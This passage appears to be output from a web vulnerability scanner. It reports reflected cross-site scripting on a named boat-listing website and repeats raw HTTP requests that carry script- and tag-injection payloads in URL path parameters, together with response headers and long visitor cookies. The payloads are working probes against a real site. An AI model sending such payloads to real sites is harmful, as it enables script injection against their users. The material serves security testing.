s_pers=%20s_nr%3D1296156328837%7C1298748328837%3B%20s_lv%3D1296156328839%7C1390764328839%3B%20s_lv_s%3DFirst%2520Visit%7C1296158128839%3B; s_vi=[CS]v1|26A0E25385162B05-600001A6003F61D3[CE]; yw_locale2=en_US; __utma=1.2048642607.1296155952.1296155952.1296155952.1; __utmc=1; __utmb=1.26.10.1296155952;
Response
HTTP/1.0 200 OK Date: Thu, 27 Jan 2011 19:52:28 GMT Server: Apache Cache-Control: private Content-Language: en-US Vary: Accept-Encoding,User-Agent P3P: policyref="/w3c/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa TAIa PSDa CONi OUR BUS IND ONL UNI PUR FIN COM NAV INT STA PRE LOC" Connection: close Content-Type: text/html; charset=utf-8
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
The value of REST URL parameter 3 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload a1278"><script>alert(1)</script>e5cfe162772 was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /boats/category/typea1278"><script>alert(1)</script>e5cfe162772/Tartan/1 HTTP/1.1 Host: www.yachtworld.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=1.1296155952.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); s_sess=%20s_cc%3Dtrue%3B%20s_evar22%3D2%253A15PM%3B%20s_evar23%3DThursday%3B%20s_evar24%3DWeekday%3B%20ev4%3Dno%2520search%2520phrase%2520entered%3B%20ev5%3Dregulator%3B%20ev6%3Dused%3B%20ev7%3Dno%2520search%2520phrase%2520entered%3B%20ev8%3D24%2527-32%2527%3B%20ev9%3D%253E2004%3B%20ev10%3Dno%2520search%2520phrase%2520entered%3B%20ev11%3Dno%2520search%2520phrase%2520entered%3B%20ev12%3Dno%2520search%2520phrase%2520entered%3B%20ev13%3Dno%2520search%2520phrase%2520entered%3B%20ev14%3Dno%2520search%2520phrase%2520entered%3B%20ev15%3Dno%2520search%2520phrase%2520entered%3B%20ev16%3Dno%2520search%2520phrase%2520entered%3B%20ev17%3Dunited%2520states%3B%20ev18%3Dno%2520search%2520phrase%2520entered%3B%20s_sq%3D%3B; savedLabel0=24-32%20ft,regulator,Used,2004; yw_c_id=5778232892790151794; savedLabel1=24-32%20ft%2Cregulator%2C%09Used%2C2004%2C0%20US%20Dollars%2CUnited%20States; latestSavedSearches=1_0_; savedSearch1=cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26searchtype%3Dadvancedsearch%26Ntk%3DboatsEN%26Ntt%3D%26is%3Dfalse%26man%3Dregulator%26hmid%3D0%26ftid%3D0%26enid%3D0%26fromLength%3D24%26toLength%3D32%26luom%3D126%26fromYear%3D2004%26toYear%3D%26fromPrice%3D0%26toPrice%3D%26currencyid%3D100%26city%3D%26rid%3D%26cint%3D100%26pbsint%3D%26boatsAddedSelected%3D-1; VIEWED_BOATS_STORE=2262662%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B119%2C000%5B%25%5DSomers+Point%2C+NJ%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F2%2F6%2F2262662_1_mini.jpg%3F1284487523000%5B%25%5D%2Fboats%2F2006%2FRegulator-32-Forward-Seating-2262662%2FSomers-Point%2FNJ%2FUnited-States%7B*%7D2237772%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B112%2C995%5B%25%5DParkton%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F3%2F7%2F7%2F2237772_17_mini.jpg%3F1280883217000%5B%25%5D%2Fboats%2F2005%2FRegulator-32-Forward-Seating-2237772%2FParkton%2FMD%2FUnited-States%7B*%7D2194614%5B%25%5D32%27+Regulator+32+CC+4+STROKE+250+YAMAHAS%5B%25%5DUSD%26nbsp%3B119%2C900%5B%25%5DOcean+City%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F1%2F9%2F4%2F6%2F2194614_18_mini.jpg%3F1280883629000%5B%25%5D%2Fboats%2F2007%2FRegulator-32-CC-4-STROKE-250-YAMAHAS-2194614%2FOcean-City%2FMD%2FUnited-States%7B*%7D2266476%5B%25%5D32%27+32+Regulator+WITH+TRAILER+**REDUCED**%5B%25%5DUSD%26nbsp%3B108%2C000%5B%25%5DDestin%2C+FL%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F6%2F4%2F2266476_1_mini.jpg%3F1285261228000%5B%25%5D%2Fboats%2F2006%2F32-Regulator-WITH-TRAILER-**REDUCED**-2266476%2FDestin%2FFL%2FUnited-States; savedSearch0=man%3Dregulator%26is%3Dfalse%26type%3D%26luom%3D126%26fromLength%3D24%26toLength%3D32%26fromYear%3D2004%26toYear%3D%26pricderange%3DSelect%2520Price%2520Range%26Ntt%3D%26fromPrice%3D0%26toPrice%3D%26searchtype%3Dhomepage%26cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26Ntk%3DboatsEN%26currencyid%3D100; s_pers=%20s_nr%3D1296156328837%7C1298748328837%3B%20s_lv%3D1296156328839%7C1390764328839%3B%20s_lv_s%3DFirst%2520Visit%7C1296158128839%3B; s_vi=[CS]v1|26A0E25385162B05-600001A6003F61D3[CE]; yw_locale2=en_US; __utma=1.2048642607.1296155952.1296155952.1296155952.1; __utmc=1; __utmb=1.26.10.1296155952;
Response
HTTP/1.0 200 OK Date: Thu, 27 Jan 2011 19:52:25 GMT Server: Apache Cache-Control: private Content-Language: en-US Vary: Accept-Encoding,User-Agent P3P: policyref="/w3c/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa TAIa PSDa CONi OUR BUS IND ONL UNI PUR FIN COM NAV INT STA PRE LOC" Connection: close Content-Type: text/html; charset=utf-8
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
The value of REST URL parameter 4 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload b6a56"><a>554c131fe8c was submitted in the REST URL parameter 4. This input was echoed unmodified in the application's response.
This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
Request
GET /boats/category/type/Tartanb6a56"><a>554c131fe8c/1 HTTP/1.1 Host: www.yachtworld.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=1.1296155952.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); s_sess=%20s_cc%3Dtrue%3B%20s_evar22%3D2%253A15PM%3B%20s_evar23%3DThursday%3B%20s_evar24%3DWeekday%3B%20ev4%3Dno%2520search%2520phrase%2520entered%3B%20ev5%3Dregulator%3B%20ev6%3Dused%3B%20ev7%3Dno%2520search%2520phrase%2520entered%3B%20ev8%3D24%2527-32%2527%3B%20ev9%3D%253E2004%3B%20ev10%3Dno%2520search%2520phrase%2520entered%3B%20ev11%3Dno%2520search%2520phrase%2520entered%3B%20ev12%3Dno%2520search%2520phrase%2520entered%3B%20ev13%3Dno%2520search%2520phrase%2520entered%3B%20ev14%3Dno%2520search%2520phrase%2520entered%3B%20ev15%3Dno%2520search%2520phrase%2520entered%3B%20ev16%3Dno%2520search%2520phrase%2520entered%3B%20ev17%3Dunited%2520states%3B%20ev18%3Dno%2520search%2520phrase%2520entered%3B%20s_sq%3D%3B; savedLabel0=24-32%20ft,regulator,Used,2004; yw_c_id=5778232892790151794; savedLabel1=24-32%20ft%2Cregulator%2C%09Used%2C2004%2C0%20US%20Dollars%2CUnited%20States; latestSavedSearches=1_0_; savedSearch1=cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26searchtype%3Dadvancedsearch%26Ntk%3DboatsEN%26Ntt%3D%26is%3Dfalse%26man%3Dregulator%26hmid%3D0%26ftid%3D0%26enid%3D0%26fromLength%3D24%26toLength%3D32%26luom%3D126%26fromYear%3D2004%26toYear%3D%26fromPrice%3D0%26toPrice%3D%26currencyid%3D100%26city%3D%26rid%3D%26cint%3D100%26pbsint%3D%26boatsAddedSelected%3D-1; VIEWED_BOATS_STORE=2262662%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B119%2C000%5B%25%5DSomers+Point%2C+NJ%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F2%2F6%2F2262662_1_mini.jpg%3F1284487523000%5B%25%5D%2Fboats%2F2006%2FRegulator-32-Forward-Seating-2262662%2FSomers-Point%2FNJ%2FUnited-States%7B*%7D2237772%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B112%2C995%5B%25%5DParkton%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F3%2F7%2F7%2F2237772_17_mini.jpg%3F1280883217000%5B%25%5D%2Fboats%2F2005%2FRegulator-32-Forward-Seating-2237772%2FParkton%2FMD%2FUnited-States%7B*%7D2194614%5B%25%5D32%27+Regulator+32+CC+4+STROKE+250+YAMAHAS%5B%25%5DUSD%26nbsp%3B119%2C900%5B%25%5DOcean+City%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F1%2F9%2F4%2F6%2F2194614_18_mini.jpg%3F1280883629000%5B%25%5D%2Fboats%2F2007%2FRegulator-32-CC-4-STROKE-250-YAMAHAS-2194614%2FOcean-City%2FMD%2FUnited-States%7B*%7D2266476%5B%25%5D32%27+32+Regulator+WITH+TRAILER+**REDUCED**%5B%25%5DUSD%26nbsp%3B108%2C000%5B%25%5DDestin%2C+FL%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F6%2F4%2F2266476_1_mini.jpg%3F1285261228000%5B%25%5D%2Fboats%2F2006%2F32-Regulator-WITH-TRAILER-**REDUCED**-2266476%2FDestin%2FFL%2FUnited-States; savedSearch0=man%3Dregulator%26is%3Dfalse%26type%3D%26luom%3D126%26fromLength%3D24%26toLength%3D32%26fromYear%3D2004%26toYear%3D%26pricderange%3DSelect%2520Price%2520Range%26Ntt%3D%26fromPrice%3D0%26toPrice%3D%26searchtype%3Dhomepage%26cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26Ntk%3DboatsEN%26currencyid%3D100; s_pers=%20s_nr%3D1296156328837%7C1298748328837%3B%20s_lv%3D1296156328839%7C1390764328839%3B%20s_lv_s%3DFirst%2520Visit%7C1296158128839%3B; s_vi=[CS]v1|26A0E25385162B05-600001A6003F61D3[CE]; yw_locale2=en_US; __utma=1.2048642607.1296155952.1296155952.1296155952.1; __utmc=1; __utmb=1.26.10.1296155952;
Response
HTTP/1.0 200 OK Date: Thu, 27 Jan 2011 19:52:28 GMT Server: Apache Cache-Control: private Content-Language: en-US Vary: Accept-Encoding,User-Agent P3P: policyref="/w3c/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa TAIa PSDa CONi OUR BUS IND ONL UNI PUR FIN COM NAV INT STA PRE LOC" Connection: close Content-Type: text/html; charset=utf-8
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
The value of REST URL parameter 3 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload c9545"><a>c24817267c1 was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.
This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
Request
GET /boats/category/typec9545"><a>c24817267c1/Tiara/1 HTTP/1.1 Host: www.yachtworld.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=1.1296155952.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); s_sess=%20s_cc%3Dtrue%3B%20s_evar22%3D2%253A15PM%3B%20s_evar23%3DThursday%3B%20s_evar24%3DWeekday%3B%20ev4%3Dno%2520search%2520phrase%2520entered%3B%20ev5%3Dregulator%3B%20ev6%3Dused%3B%20ev7%3Dno%2520search%2520phrase%2520entered%3B%20ev8%3D24%2527-32%2527%3B%20ev9%3D%253E2004%3B%20ev10%3Dno%2520search%2520phrase%2520entered%3B%20ev11%3Dno%2520search%2520phrase%2520entered%3B%20ev12%3Dno%2520search%2520phrase%2520entered%3B%20ev13%3Dno%2520search%2520phrase%2520entered%3B%20ev14%3Dno%2520search%2520phrase%2520entered%3B%20ev15%3Dno%2520search%2520phrase%2520entered%3B%20ev16%3Dno%2520search%2520phrase%2520entered%3B%20ev17%3Dunited%2520states%3B%20ev18%3Dno%2520search%2520phrase%2520entered%3B%20s_sq%3D%3B; savedLabel0=24-32%20ft,regulator,Used,2004; yw_c_id=5778232892790151794; savedLabel1=24-32%20ft%2Cregulator%2C%09Used%2C2004%2C0%20US%20Dollars%2CUnited%20States; latestSavedSearches=1_0_; savedSearch1=cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26searchtype%3Dadvancedsearch%26Ntk%3DboatsEN%26Ntt%3D%26is%3Dfalse%26man%3Dregulator%26hmid%3D0%26ftid%3D0%26enid%3D0%26fromLength%3D24%26toLength%3D32%26luom%3D126%26fromYear%3D2004%26toYear%3D%26fromPrice%3D0%26toPrice%3D%26currencyid%3D100%26city%3D%26rid%3D%26cint%3D100%26pbsint%3D%26boatsAddedSelected%3D-1; VIEWED_BOATS_STORE=2262662%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B119%2C000%5B%25%5DSomers+Point%2C+NJ%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F2%2F6%2F2262662_1_mini.jpg%3F1284487523000%5B%25%5D%2Fboats%2F2006%2FRegulator-32-Forward-Seating-2262662%2FSomers-Point%2FNJ%2FUnited-States%7B*%7D2237772%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B112%2C995%5B%25%5DParkton%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F3%2F7%2F7%2F2237772_17_mini.jpg%3F1280883217000%5B%25%5D%2Fboats%2F2005%2FRegulator-32-Forward-Seating-2237772%2FParkton%2FMD%2FUnited-States%7B*%7D2194614%5B%25%5D32%27+Regulator+32+CC+4+STROKE+250+YAMAHAS%5B%25%5DUSD%26nbsp%3B119%2C900%5B%25%5DOcean+City%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F1%2F9%2F4%2F6%2F2194614_18_mini.jpg%3F1280883629000%5B%25%5D%2Fboats%2F2007%2FRegulator-32-CC-4-STROKE-250-YAMAHAS-2194614%2FOcean-City%2FMD%2FUnited-States%7B*%7D2266476%5B%25%5D32%27+32+Regulator+WITH+TRAILER+**REDUCED**%5B%25%5DUSD%26nbsp%3B108%2C000%5B%25%5DDestin%2C+FL%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F6%2F4%2F2266476_1_mini.jpg%3F1285261228000%5B%25%5D%2Fboats%2F2006%2F32-Regulator-WITH-TRAILER-**REDUCED**-2266476%2FDestin%2FFL%2FUnited-States; savedSearch0=man%3Dregulator%26is%3Dfalse%26type%3D%26luom%3D126%26fromLength%3D24%26toLength%3D32%26fromYear%3D2004%26toYear%3D%26pricderange%3DSelect%2520Price%2520Range%26Ntt%3D%26fromPrice%3D0%26toPrice%3D%26searchtype%3Dhomepage%26cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26Ntk%3DboatsEN%26currencyid%3D100; s_pers=%20s_nr%3D1296156328837%7C1298748328837%3B%20s_lv%3D1296156328839%7C1390764328839%3B%20s_lv_s%3DFirst%2520Visit%7C1296158128839%3B; s_vi=[CS]v1|26A0E25385162B05-600001A6003F61D3[CE]; yw_locale2=en_US; __utma=1.2048642607.1296155952.1296155952.1296155952.1; __utmc=1; __utmb=1.26.10.1296155952;
Response
HTTP/1.0 200 OK Date: Thu, 27 Jan 2011 19:51:35 GMT Server: Apache Cache-Control: private Content-Language: en-US Vary: Accept-Encoding,User-Agent P3P: policyref="/w3c/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa TAIa PSDa CONi OUR BUS IND ONL UNI PUR FIN COM NAV INT STA PRE LOC" Connection: close Content-Type: text/html; charset=utf-8
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
The value of REST URL parameter 4 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload d4cc2"><a>597517bb02b was submitted in the REST URL parameter 4. This input was echoed unmodified in the application's response.
This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
Request
GET /boats/category/type/Tiarad4cc2"><a>597517bb02b/1 HTTP/1.1 Host: www.yachtworld.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=1.1296155952.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); s_sess=%20s_cc%3Dtrue%3B%20s_evar22%3D2%253A15PM%3B%20s_evar23%3DThursday%3B%20s_evar24%3DWeekday%3B%20ev4%3Dno%2520search%2520phrase%2520entered%3B%20ev5%3Dregulator%3B%20ev6%3Dused%3B%20ev7%3Dno%2520search%2520phrase%2520entered%3B%20ev8%3D24%2527-32%2527%3B%20ev9%3D%253E2004%3B%20ev10%3Dno%2520search%2520phrase%2520entered%3B%20ev11%3Dno%2520search%2520phrase%2520entered%3B%20ev12%3Dno%2520search%2520phrase%2520entered%3B%20ev13%3Dno%2520search%2520phrase%2520entered%3B%20ev14%3Dno%2520search%2520phrase%2520entered%3B%20ev15%3Dno%2520search%2520phrase%2520entered%3B%20ev16%3Dno%2520search%2520phrase%2520entered%3B%20ev17%3Dunited%2520states%3B%20ev18%3Dno%2520search%2520phrase%2520entered%3B%20s_sq%3D%3B; savedLabel0=24-32%20ft,regulator,Used,2004; yw_c_id=5778232892790151794; savedLabel1=24-32%20ft%2Cregulator%2C%09Used%2C2004%2C0%20US%20Dollars%2CUnited%20States; latestSavedSearches=1_0_; savedSearch1=cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26searchtype%3Dadvancedsearch%26Ntk%3DboatsEN%26Ntt%3D%26is%3Dfalse%26man%3Dregulator%26hmid%3D0%26ftid%3D0%26enid%3D0%26fromLength%3D24%26toLength%3D32%26luom%3D126%26fromYear%3D2004%26toYear%3D%26fromPrice%3D0%26toPrice%3D%26currencyid%3D100%26city%3D%26rid%3D%26cint%3D100%26pbsint%3D%26boatsAddedSelected%3D-1; VIEWED_BOATS_STORE=2262662%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B119%2C000%5B%25%5DSomers+Point%2C+NJ%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F2%2F6%2F2262662_1_mini.jpg%3F1284487523000%5B%25%5D%2Fboats%2F2006%2FRegulator-32-Forward-Seating-2262662%2FSomers-Point%2FNJ%2FUnited-States%7B*%7D2237772%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B112%2C995%5B%25%5DParkton%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F3%2F7%2F7%2F2237772_17_mini.jpg%3F1280883217000%5B%25%5D%2Fboats%2F2005%2FRegulator-32-Forward-Seating-2237772%2FParkton%2FMD%2FUnited-States%7B*%7D2194614%5B%25%5D32%27+Regulator+32+CC+4+STROKE+250+YAMAHAS%5B%25%5DUSD%26nbsp%3B119%2C900%5B%25%5DOcean+City%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F1%2F9%2F4%2F6%2F2194614_18_mini.jpg%3F1280883629000%5B%25%5D%2Fboats%2F2007%2FRegulator-32-CC-4-STROKE-250-YAMAHAS-2194614%2FOcean-City%2FMD%2FUnited-States%7B*%7D2266476%5B%25%5D32%27+32+Regulator+WITH+TRAILER+**REDUCED**%5B%25%5DUSD%26nbsp%3B108%2C000%5B%25%5DDestin%2C+FL%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F6%2F4%2F2266476_1_mini.jpg%3F1285261228000%5B%25%5D%2Fboats%2F2006%2F32-Regulator-WITH-TRAILER-**REDUCED**-2266476%2FDestin%2FFL%2FUnited-States; savedSearch0=man%3Dregulator%26is%3Dfalse%26type%3D%26luom%3D126%26fromLength%3D24%26toLength%3D32%26fromYear%3D2004%26toYear%3D%26pricderange%3DSelect%2520Price%2520Range%26Ntt%3D%26fromPrice%3D0%26toPrice%3D%26searchtype%3Dhomepage%26cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26Ntk%3DboatsEN%26currencyid%3D100; s_pers=%20s_nr%3D1296156328837%7C1298748328837%3B%20s_lv%3D1296156328839%7C1390764328839%3B%20s_lv_s%3DFirst%2520Visit%7C1296158128839%3B; s_vi=[CS]v1|26A0E25385162B05-600001A6003F61D3[CE]; yw_locale2=en_US; __utma=1.2048642607.1296155952.1296155952.1296155952.1; __utmc=1; __utmb=1.26.10.1296155952;
Response
HTTP/1.0 200 OK Date: Thu, 27 Jan 2011 19:51:42 GMT Server: Apache Cache-Control: private Content-Language: en-US Vary: Accept-Encoding,User-Agent P3P: policyref="/w3c/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa TAIa PSDa CONi OUR BUS IND ONL UNI PUR FIN COM NAV INT STA PRE LOC" Connection: close Content-Type: text/html; charset=utf-8
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
The value of REST URL parameter 5 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 13c83"><script>alert(1)</script>37635591874 was submitted in the REST URL parameter 5. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /boats/category/type/Tiara/113c83"><script>alert(1)</script>37635591874 HTTP/1.1 Host: www.yachtworld.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=1.1296155952.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); s_sess=%20s_cc%3Dtrue%3B%20s_evar22%3D2%253A15PM%3B%20s_evar23%3DThursday%3B%20s_evar24%3DWeekday%3B%20ev4%3Dno%2520search%2520phrase%2520entered%3B%20ev5%3Dregulator%3B%20ev6%3Dused%3B%20ev7%3Dno%2520search%2520phrase%2520entered%3B%20ev8%3D24%2527-32%2527%3B%20ev9%3D%253E2004%3B%20ev10%3Dno%2520search%2520phrase%2520entered%3B%20ev11%3Dno%2520search%2520phrase%2520entered%3B%20ev12%3Dno%2520search%2520phrase%2520entered%3B%20ev13%3Dno%2520search%2520phrase%2520entered%3B%20ev14%3Dno%2520search%2520phrase%2520entered%3B%20ev15%3Dno%2520search%2520phrase%2520entered%3B%20ev16%3Dno%2520search%2520phrase%2520entered%3B%20ev17%3Dunited%2520states%3B%20ev18%3Dno%2520search%2520phrase%2520entered%3B%20s_sq%3D%3B; savedLabel0=24-32%20ft,regulator,Used,2004; yw_c_id=5778232892790151794; savedLabel1=24-32%20ft%2Cregulator%2C%09Used%2C2004%2C0%20US%20Dollars%2CUnited%20States; latestSavedSearches=1_0_; savedSearch1=cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26searchtype%3Dadvancedsearch%26Ntk%3DboatsEN%26Ntt%3D%26is%3Dfalse%26man%3Dregulator%26hmid%3D0%26ftid%3D0%26enid%3D0%26fromLength%3D24%26toLength%3D32%26luom%3D126%26fromYear%3D2004%26toYear%3D%26fromPrice%3D0%26toPrice%3D%26currencyid%3D100%26city%3D%26rid%3D%26cint%3D100%26pbsint%3D%26boatsAddedSelected%3D-1; VIEWED_BOATS_STORE=2262662%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B119%2C000%5B%25%5DSomers+Point%2C+NJ%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F2%2F6%2F2262662_1_mini.jpg%3F1284487523000%5B%25%5D%2Fboats%2F2006%2FRegulator-32-Forward-Seating-2262662%2FSomers-Point%2FNJ%2FUnited-States%7B*%7D2237772%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B112%2C995%5B%25%5DParkton%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F3%2F7%2F7%2F2237772_17_mini.jpg%3F1280883217000%5B%25%5D%2Fboats%2F2005%2FRegulator-32-Forward-Seating-2237772%2FParkton%2FMD%2FUnited-States%7B*%7D2194614%5B%25%5D32%27+Regulator+32+CC+4+STROKE+250+YAMAHAS%5B%25%5DUSD%26nbsp%3B119%2C900%5B%25%5DOcean+City%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F1%2F9%2F4%2F6%2F2194614_18_mini.jpg%3F1280883629000%5B%25%5D%2Fboats%2F2007%2FRegulator-32-CC-4-STROKE-250-YAMAHAS-2194614%2FOcean-City%2FMD%2FUnited-States%7B*%7D2266476%5B%25%5D32%27+32+Regulator+WITH+TRAILER+**REDUCED**%5B%25%5DUSD%26nbsp%3B108%2C000%5B%25%5DDestin%2C+FL%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F6%2F4%2F2266476_1_mini.jpg%3F1285261228000%5B%25%5D%2Fboats%2F2006%2F32-Regulator-WITH-TRAILER-**REDUCED**-2266476%2FDestin%2FFL%2FUnited-States; savedSearch0=man%3Dregulator%26is%3Dfalse%26type%3D%26luom%3D126%26fromLength%3D24%26toLength%3D32%26fromYear%3D2004%26toYear%3D%26pricderange%3DSelect%2520Price%2520Range%26Ntt%3D%26fromPrice%3D0%26toPrice%3D%26searchtype%3Dhomepage%26cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26Ntk%3DboatsEN%26currencyid%3D100; s_pers=%20s_nr%3D1296156328837%7C1298748328837%3B%20s_lv%3D1296156328839%7C1390764328839%3B%20s_lv_s%3DFirst%2520Visit%7C1296158128839%3B; s_vi=[CS]v1|26A0E25385162B05-600001A6003F61D3[CE]; yw_locale2=en_US; __utma=1.2048642607.1296155952.1296155952.1296155952.1; __utmc=1; __utmb=1.26.10.1296155952;
Response
HTTP/1.0 200 OK Date: Thu, 27 Jan 2011 19:51:48 GMT Server: Apache Cache-Control: private Content-Language: en-US Vary: Accept-Encoding,User-Agent P3P: policyref="/w3c/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa TAIa PSDa CONi OUR BUS IND ONL UNI PUR FIN COM NAV INT STA PRE LOC" Connection: close Content-Type: text/html; charset=utf-8
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
The value of REST URL parameter 3 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload c8139"><a>39ead952a89 was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.
This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
Request
GET /boats/category/typec8139"><a>39ead952a89/Viking/1 HTTP/1.1 Host: www.yachtworld.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=1.1296155952.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); 